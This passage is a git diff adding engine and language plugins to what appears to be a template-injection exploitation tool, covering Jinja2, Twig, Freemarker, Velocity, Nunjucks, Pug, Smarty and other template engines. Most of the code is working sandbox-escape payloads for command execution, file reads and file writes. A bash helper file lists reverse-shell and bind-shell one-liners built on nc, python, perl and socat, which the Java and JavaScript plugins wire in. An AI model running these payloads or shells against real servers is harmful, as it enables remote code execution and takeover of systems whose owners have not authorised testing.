javascript.ctx_closures}, + {'level': 2, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': {1: ["'", ')'], 2: ['"', ')']}}, + {'level': 3, 'prefix': '*/%>', 'suffix': '<%#'}, + ]) diff --git a/plugins/engines/erb.py b/plugins/engines/erb.py new file mode 100644 index 0000000..c946bec --- /dev/null +++ b/plugins/engines/erb.py @@ -0,0 +1,31 @@ +from plugins.languages import ruby + + +class Erb(ruby.Ruby): + def init(self): + self.update_actions({ + 'render': { + 'render': '"#{{{code}}}"', + 'header': """<%= '{header}'+""", + 'trailer': """+'{trailer}' %>""", + }, + 'write': { + 'call': 'inject', + 'write': """<%= require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }} %>""", + 'truncate': """<%= File.truncate('{path}', 0) %>""" + }, + 'evaluate_blind': { + 'call': 'inject', + 'evaluate_blind': """<%= require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay}) %>""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """<%= require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}}) %>""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # TODO: add contexts + ]) diff --git a/plugins/engines/freemarker.py b/plugins/engines/freemarker.py new file mode 100644 index 0000000..d8f08f3 --- /dev/null +++ b/plugins/engines/freemarker.py @@ -0,0 +1,40 @@ +from utils import rand +from plugins.languages import java + + +class Freemarker(java.Java): + def init(self): + self.update_actions({ + 'render': { + 'render': '{code}', + 'header': '${{{header}?c}}', + 'trailer': '${{{trailer}?c}}', + 'test_render': f"""${{{rand.randints[0]}}}<#--{rand.randints[1]}-->${{{rand.randints[2]}}}""", + 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' + }, + 'write': { + 'call': 'inject', + 'write': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}") }}""", + 'truncate': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{echo,-n,}}>{path}") }}""", + }, + # Not using execute here since it's rendered and requires set headers and trailers + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}") }}""" + }, + 'execute': { + 'call': 'render', + 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}") }}""" + } + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}', 'suffix': '', 'closures': java.ctx_closures}, + # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1> + {'level': 2, 'prefix': '{closure}>', 'suffix': '', 'closures': java.ctx_closures}, + {'level': 5, 'prefix': '-->', 'suffix': '<#--'}, + {'level': 5, 'prefix': '{closure} as a><#list [1] as a>', 'suffix': '', 'closures': java.ctx_closures}, + ]) + diff --git a/plugins/engines/jinja2.py b/plugins/engines/jinja2.py new file mode 100644 index 0000000..ee87043 --- /dev/null +++ b/plugins/engines/jinja2.py @@ -0,0 +1,49 @@ +from plugins.languages import python +from utils import rand + + +class Jinja2(python.Python): + def init(self): + self.update_actions({ + 'render': { + 'render': '{code}', + 'header': '{{{{{header}}}}}', + 'trailer': '{{{{{trailer}}}}}', + 'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})}}}}', + 'test_render_expected': f'{(rand.randints[0],rand.randints[1]*rand.randints[2])}' + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """{{% set d = "eval(__import__('base64').urlsafe_b64decode('{code_b64}'))" %}}{{% for c in [].__class__.__base__.__subclasses__() %}} {{% if c.__name__ == 'catch_warnings' %}} +{{% for b in c.__init__.__globals__.values() %}} {{% if b.__class__ == {{}}.__class__ %}} +{{% if 'eval' in b.keys() %}} +{{{{ b['eval'](d) }}}} +{{% endif %}} {{% endif %}} {{% endfor %}} +{{% endif %}} {{% endfor %}}""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """{{% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode() + ' && sleep {delay}').read()" %}}{{% for c in [].__class__.__base__.__subclasses__() %}} {{% if c.__name__ == 'catch_warnings' %}} +{{% for b in c.__init__.__globals__.values() %}} {{% if b.__class__ == {{}}.__class__ %}} +{{% if 'eval' in b.keys() %}} +{{{{ b['eval'](d) }}}} +{{% endif %}} {{% endif %}} {{% endfor %}} +{{% endif %}} {{% endfor %}}""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # This covers {{%s}} + {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures}, + # This covers {% %s %} + {'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures}, + # If and for blocks + # # if %s:\n# endif + # # for a in %s:\n# endfor + {'level': 5, 'prefix': '{closure}\n', 'suffix': '\n', 'closures': python.ctx_closures}, + # Comment blocks + {'level': 5, 'prefix': '#}}', 'suffix': '{#'}, + + ]) diff --git a/plugins/engines/mako.py b/plugins/engines/mako.py new file mode 100644 index 0000000..de096ed --- /dev/null +++ b/plugins/engines/mako.py @@ -0,0 +1,31 @@ +from plugins.languages import python + + +class Mako(python.Python): + def init(self): + self.update_actions({ + 'render': { + 'render': '${{{code}}}', + 'header': '${{{header}}}', + 'trailer': '${{{trailer}}}' + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # Normal reflecting tag ${} + {'level': 1, 'prefix': '{closure}}}', 'suffix': '', 'closures': python.ctx_closures}, + # Code blocks + # This covers <% %s %>, <%! %s %>, <% %s=1 %> + {'level': 1, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': python.ctx_closures}, + # If and for blocks + # % if %s:\n% endif + # % for a in %s:\n% endfor + {'level': 5, 'prefix': '{closure}#\n', 'suffix': '\n', 'closures': python.ctx_closures}, + # Mako blocks + {'level': 5, 'prefix': '', 'suffix': '<%doc>'}, + {'level': 5, 'prefix': '', 'suffix': '<%def name="t(x)">', 'closures': python.ctx_closures}, + {'level': 5, 'prefix': '', 'suffix': '<%block>', 'closures': python.ctx_closures}, + {'level': 5, 'prefix': '', 'suffix': '<%text>', 'closures': python.ctx_closures}, + ]) diff --git a/plugins/engines/marko.py b/plugins/engines/marko.py new file mode 100644 index 0000000..180b3f8 --- /dev/null +++ b/plugins/engines/marko.py @@ -0,0 +1,30 @@ +from plugins.languages import javascript + + +class Marko(javascript.Javascript): + def init(self): + self.update_actions({ + 'render': { + 'render': '${{{code}}}', + 'header': '${{"{header}"}}', + 'trailer': '${{"{trailer}"}}', + }, + 'write': { + 'call': 'inject', + 'write': """${{require('fs').appendFileSync('{path}',Buffer('{chunk_b64}','base64'),'binary')}}""", + 'truncate': """${{require('fs').writeFileSync('{path}','')}}""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """${{require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')}}""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}', 'suffix': '${"1"', 'closures': javascript.ctx_closures}, + # If escapes require to know the ending tag e.g.
+ # This to escape from and + {'level': 2, 'prefix': '1/>', 'suffix': ''}, + ]) diff --git a/plugins/engines/nunjucks.py b/plugins/engines/nunjucks.py new file mode 100644 index 0000000..5df4bd0 --- /dev/null +++ b/plugins/engines/nunjucks.py @@ -0,0 +1,53 @@ +from plugins.languages import javascript +from utils import rand + + +class Nunjucks(javascript.Javascript): + def init(self): + self.update_actions({ + 'render': { + 'render': '{{{{{code}}}}}', + 'header': '{{{{{header}}}}}', + 'trailer': '{{{{{trailer}}}}}', + 'test_render': f'({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|dump', + 'test_render_expected': f'{rand.randints[1]*rand.randints[2]}' + }, + 'write': { + 'call': 'inject', + 'write': """{{{{range.constructor("global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')")()}}}}""", + 'truncate': """{{{{range.constructor("global.process.mainModule.require('fs').writeFileSync('{path}', '')")()}}}}""" + }, + 'read': { + 'call': 'evaluate', + 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')""" + }, + 'md5': { + 'call': 'evaluate', + 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")""" + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """range.constructor("return eval(Buffer('{code_b64}','base64').toString())")()""", + 'test_os': """global.process.mainModule.require('os').platform()""" + }, + 'execute': { + 'call': 'evaluate', + 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """{{{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')")()}}}}""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '{{1', 'closures': javascript.ctx_closures}, + {'level': 1, 'prefix': '{closure} %}}', 'suffix': '', 'closures': javascript.ctx_closures}, + {'level': 5, 'prefix': '{closure} %}}{{% endfor %}}{{% for a in [1] %}}', 'suffix': '', 'closures': javascript.ctx_closures}, + # This escapes string {% set %s = 1 %} + {'level': 5, 'prefix': '{closure} = 1 %}}', 'suffix': '', 'closures': javascript.ctx_closures}, + # Comment blocks + {'level': 5, 'prefix': '#}}', 'suffix': '{#'}, + ]) diff --git a/plugins/engines/pug.py b/plugins/engines/pug.py new file mode 100644 index 0000000..6ae7b94 --- /dev/null +++ b/plugins/engines/pug.py @@ -0,0 +1,67 @@ +from plugins.languages import javascript + + +class Pug(javascript.Javascript): + def init(self): + self.update_actions({ + 'render': { + 'call': 'inject', + 'render': '\n= {code}\n', + 'header': '\n= {header}\n', + 'trailer': '\n= {trailer}\n', + }, + # No evaluate_blind here, since we've no sleep, we'll use inject + 'write': { + 'call': 'inject', + # Payloads calling inject must start with \n to break out already started lines + 'write': """\n- global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary') +""", + 'truncate': """\n- global.process.mainModule.require('fs').writeFileSync('{path}', '') +""" + }, + 'read': { + 'call': 'render', + 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')""" + }, + 'md5': { + 'call': 'render', + 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")""" + }, + 'blind': { + 'call': 'execute_blind', + 'test_bool_true': 'true', + 'test_bool_false': 'false' + }, + # Not using execute here since it's rendered and requires set headers and trailers + 'execute_blind': { + 'call': 'inject', + # execSync() has been introduced in node 0.11, so this will not work with old node versions. + # TODO: use another function. + # Payloads calling inject must start with \n to break out already started lines + # It's two lines command to avoid false positive with Javascript module + 'execute_blind': """ +- x = global.process.mainModule.require +- x('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}') +""" + }, + 'execute': { + 'call': 'render', + 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())""" + }, + 'evaluate': { + 'test_os': """global.process.mainModule.require('os').platform()""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # Attribute close a(href=\'%s\') + {'level': 1, 'prefix': '{closure})', 'suffix': '//', 'closures': {1: javascript.ctx_closures[1]}}, + # String interpolation #{ + {'level': 2, 'prefix': '{closure}}}', 'suffix': '//', 'closures': javascript.ctx_closures}, + # Code context + {'level': 2, 'prefix': '{closure}\n', 'suffix': '//', 'closures': javascript.ctx_closures}, + ]) + + language = 'javascript' diff --git a/plugins/engines/slim.py b/plugins/engines/slim.py new file mode 100644 index 0000000..0d51b59 --- /dev/null +++ b/plugins/engines/slim.py @@ -0,0 +1,30 @@ +from plugins.languages import ruby + +class Slim(ruby.Ruby): + def init(self): + self.update_actions({ + 'render': { + 'render': '"#{{{code}}}"', + 'header': """=('{header}'+""", + 'trailer': """+'{trailer}')""", + }, + 'write': { + 'call': 'inject', + 'write': """=(require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }})""", + 'truncate': """=(File.truncate('{path}', 0))""" + }, + 'evaluate_blind': { + 'call': 'inject', + 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay}))""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """=(require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}}))""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # TODO: add contexts + ]) diff --git a/plugins/engines/smarty.py b/plugins/engines/smarty.py new file mode 100644 index 0000000..43c6970 --- /dev/null +++ b/plugins/engines/smarty.py @@ -0,0 +1,51 @@ +from plugins.languages import php +from utils import rand +from plugins.languages import bash + + +class Smarty(php.Php): + def init(self): + self.update_actions({ + 'render': { + 'render': '{code}', + 'header': '{{{header}}}', + 'trailer': '{{{trailer}}}', + 'test_render': f"""{{{rand.randints[0]}}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""", + 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' + }, + 'evaluate': { + # Dirty hack from Twig + 'call': 'execute', + 'evaluate': """php -r '$d="{code_b64}";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%4,"=",STR_PAD_RIGHT)));'""", + 'test_os': 'echo PHP_OS;', + 'test_os_expected': r'^[\w-]+$' + }, + 'evaluate_blind': { + # Dirty hack from Twig + 'call': 'execute', + 'evaluate_blind': """php -r '$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%4,"=",STR_PAD_RIGHT)) . ") && sleep({delay});");'""" + }, + 'execute': { + 'call': 'render', + 'execute': """{{if system(base64_decode(str_pad(strtr('{code_b64}', '-_', '+/'), strlen('{code_b64}')%4,'=',STR_PAD_RIGHT)))}}{{/if}}""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """{{if system(base64_decode(str_pad(strtr('{code_b64}', '-_', '+/'), strlen('{code_b64}')%4,'=',STR_PAD_RIGHT))|cat:" && sleep {delay}")}}{{/if}}""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}', 'suffix': '{', 'closures': php.ctx_closures}, + # {config_load file="missing_file"} raises an exception + # Escape Ifs + {'level': 5, 'prefix': '{closure}}}{{/if}}{{if 1}}', 'suffix': '', 'closures': php.ctx_closures}, + # Escape {assign var="%s" value="%s"} + {'level': 5, 'prefix': '{closure} var="" value=""}}{{assign var="" value=""}}', 'suffix': '', 'closures': php.ctx_closures}, + # Comments + {'level': 5, 'prefix': '*}}', 'suffix': '{*'}, + ]) diff --git a/plugins/engines/tornado.py b/plugins/engines/tornado.py new file mode 100644 index 0000000..4f64ac9 --- /dev/null +++ b/plugins/engines/tornado.py @@ -0,0 +1,29 @@ +from plugins.languages import python +from utils import rand + + +class Tornado(python.Python): + + def init(self): + + self.update_actions({ + 'render': { + 'render': '{{{{{code}}}}}', + 'header': '{{{{{header}}}}}', + 'trailer': '{{{{{trailer}}}}}', + 'test_render': f"""'{rand.randstrings[0]}'}}}}{{% raw '{rand.randstrings[0]}'.join('{rand.randstrings[1]}') %}}{{{{'{rand.randstrings[1]}'""", + 'test_render_expected': f'{rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1]}' + } + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # This covers {{%s}} + {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures}, + # This covers {% %s %} + {'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures}, + # Comment blocks + {'level': 5, 'prefix': '#}}', 'suffix': '{#'}, + ]) + diff --git a/plugins/engines/twig.py b/plugins/engines/twig.py new file mode 100644 index 0000000..ad6ad4d --- /dev/null +++ b/plugins/engines/twig.py @@ -0,0 +1,60 @@ +from plugins.languages import php +from plugins.languages import bash +from utils import rand + + +class Twig(php.Php): + def init(self): + # The vulnerable versions <1.20.0 allows to map the getFilter() function + # to any PHP function, allowing the sandbox escape. + # Only functions with 1 parameter can be mapped and eval()/assert() functions are not + # allowed. For this reason, most of the stuff is done by exec() instead of eval()-like code. + self.update_actions({ + 'render': { + 'render': '{{{{{code}}}}}', + 'header': '{{{{{header}}}}}', + 'trailer': '{{{{{trailer}}}}}', + # {{7*'7'}} and a{#b#}c work in freemarker as well + # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well + 'test_render': f'"{rand.randstrings[0]}\n"|nl2br', + 'test_render_expected': f'{rand.randstrings[0]}
' + }, + 'write': { + 'call': 'inject', + 'write': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}'")}}}}""", + 'truncate': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("echo -n >{path}")}}}}""" + }, + # Hackish way to evaluate PHP code + 'evaluate': { + 'call': 'execute', + 'evaluate': """php -r '$d="{code_b64}";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%4,"=",STR_PAD_RIGHT)));'""", + 'test_os': 'echo PHP_OS;', + 'test_os_expected': r'^[\w-]+$' + }, + 'execute': { + 'call': 'render', + 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}'")""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}'")}}}}""" + }, + 'evaluate_blind': { + 'call': 'execute', + 'evaluate_blind': """php -r '$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%4,"=",STR_PAD_RIGHT)) . ") && sleep({delay});");'""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '{{1', 'closures': php.ctx_closures}, + {'level': 1, 'prefix': '{closure} %}}', 'suffix': '', 'closures': php.ctx_closures}, + {'level': 5, 'prefix': '{closure} %}}{{% endfor %}}{{% for a in [1] %}}', 'suffix': '', 'closures': php.ctx_closures}, + # This escapes string "inter#{"asd"}polation" + {'level': 5, 'prefix': '{closure}}}', 'suffix': '', 'closures': php.ctx_closures}, + # This escapes string {% set %s = 1 %} + {'level': 5, 'prefix': '{closure} = 1 %}}', 'suffix': '', 'closures': php.ctx_closures}, + ]) diff --git a/plugins/engines/velocity.py b/plugins/engines/velocity.py new file mode 100644 index 0000000..bef68b2 --- /dev/null +++ b/plugins/engines/velocity.py @@ -0,0 +1,94 @@ +from plugins.languages import java +from utils import rand + + +class Velocity(java.Java): + def init(self): + self.update_actions({ + 'render': { + 'render': '{code}', + 'header': '\n#set($h={header})\n${{h}}\n', + 'trailer': '\n#set($t={trailer})\n${{t}}\n', + 'test_render': f'#set($c={rand.randints[0]}*{rand.randints[1]})\n${{c}}\n', + 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' + }, + 'write': { + 'call': 'inject', + 'write': """#set($engine="") +#set($run=$engine.getClass().forName("java.lang.Runtime")) +#set($runtime=$run.getRuntime()) +#set($proc=$runtime.exec("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}")) +#set($null=$proc.waitFor()) +#set($istr=$proc.getInputStream()) +#set($chr=$engine.getClass().forName("java.lang.Character")) +#set($output="") +#set($string=$engine.getClass().forName("java.lang.String")) +#foreach($i in [1..$istr.available()]) +#set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) +#end +${{output}} +""", + 'truncate': """#set($engine="") +#set($run=$engine.getClass().forName("java.lang.Runtime")) +#set($runtime=$run.getRuntime()) +#set($proc=$runtime.exec("bash -c {{echo,-n,}}>{path}")) +#set($null=$proc.waitFor()) +#set($istr=$proc.getInputStream()) +#set($chr=$engine.getClass().forName("java.lang.Character")) +#set($output="") +#set($string=$engine.getClass().forName("java.lang.String")) +#foreach($i in [1..$istr.available()]) +#set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) +#end +${{output}} +""" + }, + 'execute': { + # This payload cames from henshin's contribution on + # issue #9. + 'call': 'render', + 'execute': """#set($engine="") +#set($run=$engine.getClass().forName("java.lang.Runtime")) +#set($runtime=$run.getRuntime()) +#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}")) +#set($null=$proc.waitFor()) +#set($istr=$proc.getInputStream()) +#set($chr=$engine.getClass().forName("java.lang.Character")) +#set($output="") +#set($string=$engine.getClass().forName("java.lang.String")) +#foreach($i in [1..$istr.available()]) +#set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) +#end +${{output}} +""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """#set($engine="") +#set($run=$engine.getClass().forName("java.lang.Runtime")) +#set($runtime=$run.getRuntime()) +#set($proc=$runtime.exec("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}")) +#set($null=$proc.waitFor()) +#set($istr=$proc.getInputStream()) +#set($chr=$engine.getClass().forName("java.lang.Character")) +#set($output="") +#set($string=$engine.getClass().forName("java.lang.String")) +#foreach($i in [1..$istr.available()]) +#set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) +#end +${{output}} +""" + } + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure})', 'suffix': '', 'closures': java.ctx_closures}, + # This catches + # #if(%s == 1)\n#end + # #foreach($item in %s)\n#end + # #define( %s )a#end + {'level': 3, 'prefix': '{closure}#end#if(1==1)', 'suffix': '', 'closures': java.ctx_closures}, + {'level': 5, 'prefix': '*#', 'suffix': '#*'}, + ]) diff --git a/plugins/languages/__init__.py b/plugins/languages/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/languages/bash.py b/plugins/languages/bash.py new file mode 100644 index 0000000..e53b56b --- /dev/null +++ b/plugins/languages/bash.py @@ -0,0 +1,19 @@ +os_print = """echo {s1}""" + +bind_shell = [ + """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", {port}));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("{shell}");s.close()'""", + """nc -l -p {port} -e {shell}""", + """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc -l {port} >/tmp/f; rm -rf /tmp/f""", + """socat tcp-l:{port} exec:{shell}""" +] + +reverse_shell = [ + """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {host} {port} >/tmp/f""", + """sleep 1; nc -e {shell} {host} {port}""", + """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["{shell}","-i"]);'""", + "sleep 1; /bin/bash -c \'{shell} 0&0 2>&0\'", + """perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");}};'""", + # TODO: ruby payload's broken, fix it. + # """ruby -rsocket -e'f=TCPSocket.open("{host}",{port}).to_i;exec sprintf("{shell} -i <&%%d >&%%d 2>&%%d",f,f,f)'""", + """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("{shell}");'""", +] diff --git a/plugins/languages/java.py b/plugins/languages/java.py new file mode 100644 index 0000000..d931d79 --- /dev/null +++ b/plugins/languages/java.py @@ -0,0 +1,94 @@ +from core.plugin import Plugin +from plugins.languages import bash +from utils import closures +from utils import rand +import re + + +class Java(Plugin): + def language_init(self): + self.update_actions({ + 'execute': { + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2], + 'test_os': """uname""", + 'test_os_expected': r'^[\w-]+$' + }, + 'read': { + 'call': 'execute', + 'read': """base64<'{path}'""" + }, + 'md5': { + 'call': 'execute', + 'md5': """$(type -p md5 md5sum)<'{path}'|head -c 32""" + }, + # Prepared to used only for blind detection. Not useful for time-boolean + # tests (since && characters can\'t be used) but enough for the detection phase. + 'blind': { + 'call': 'execute_blind', + 'test_bool_true': 'true', + 'test_bool_false': 'false' + }, + 'bind_shell': { + 'call': 'execute_blind', + 'bind_shell': bash.bind_shell + }, + 'reverse_shell': { + 'call': 'execute_blind', + 'reverse_shell': bash.reverse_shell + } + }) + + language = 'java' + + def rendered_detected(self): + # Java has no eval() function, hence the checks are done using + # the command execution action. + test_cmd_code = self.actions.get('execute', {}).get('test_cmd') + test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected') + if test_cmd_code and test_cmd_code_expected and test_cmd_code_expected == self.execute(test_cmd_code): + self.set('execute', True) + self.set('write', True) + self.set('read', True) + self.set('bind_shell', True) + self.set('reverse_shell', True) + test_os_code = self.actions.get('execute', {}).get('test_os') + test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected') + if test_os_code and test_os_code_expected: + os = self.execute(test_os_code) + if os and re.search(test_os_code_expected, os): + self.set('os', os) + + def blind_detected(self): + # No blind code evaluation is possible here, only execution + # Since execution has been used to detect blind injection, + # let's assume execute_blind as set. + self.set('execute_blind', True) + self.set('write', True) + self.set('bind_shell', True) + self.set('reverse_shell', True) + + +ctx_closures = { + 1: [ + closures.close_single_double_quotes + closures.integer, + closures.close_function + closures.empty + ], + 2: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var, + closures.close_function + closures.empty + ], + 3: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 4: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 5: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty, + closures.close_function + closures.close_list + closures.empty, + ] +} diff --git a/plugins/languages/javascript.py b/plugins/languages/javascript.py new file mode 100644 index 0000000..e12eb95 --- /dev/null +++ b/plugins/languages/javascript.py @@ -0,0 +1,103 @@ +from plugins.languages import bash +from utils import closures +from core.plugin import Plugin +from utils import rand + + +class Javascript(Plugin): + def language_init(self): + self.update_actions({ + 'render': { + 'call': 'inject', + 'render': """{code}""", + 'header': """'{header}'+""", + 'trailer': """+'{trailer}'""", + 'test_render': f'typeof({rand.randints[0]})+{rand.randints[1]}', + 'test_render_expected': f'number{rand.randints[1]}' + }, + # No evaluate_blind here, since we've no sleep, we'll use inject + 'write': { + 'call': 'inject', + 'write': """require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')//""", + 'truncate': """require('fs').writeFileSync('{path}', '')""" + }, + 'read': { + 'call': 'render', + 'read': """require('fs').readFileSync('{path}').toString('base64')""" + }, + 'md5': { + 'call': 'render', + 'md5': "require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest(\"hex\")" + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """eval(Buffer('{code_b64}', 'base64').toString())""", + 'test_os': """require('os').platform()""", + 'test_os_expected': r'^[\w-]+$', + }, + 'blind': { + 'call': 'execute_blind', + 'test_bool_true': 'true', + 'test_bool_false': 'false' + }, + # Not using execute here since it's rendered and requires set headers and trailers + 'execute_blind': { + 'call': 'inject', + # execSync() has been introduced in node 0.11, so this will not work with old node versions. + # TODO: use another function. + 'execute_blind': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')//""" + }, + 'execute': { + 'call': 'render', + 'execute': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'bind_shell': { + 'call': 'execute_blind', + 'bind_shell': bash.bind_shell + }, + 'reverse_shell': { + 'call': 'execute_blind', + 'reverse_shell': bash.reverse_shell + } + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # This terminates the statement with ; + {'level': 1, 'prefix': '{closure};', 'suffix': '//', 'closures': ctx_closures}, + # This does not need termination e.g. if(%s) 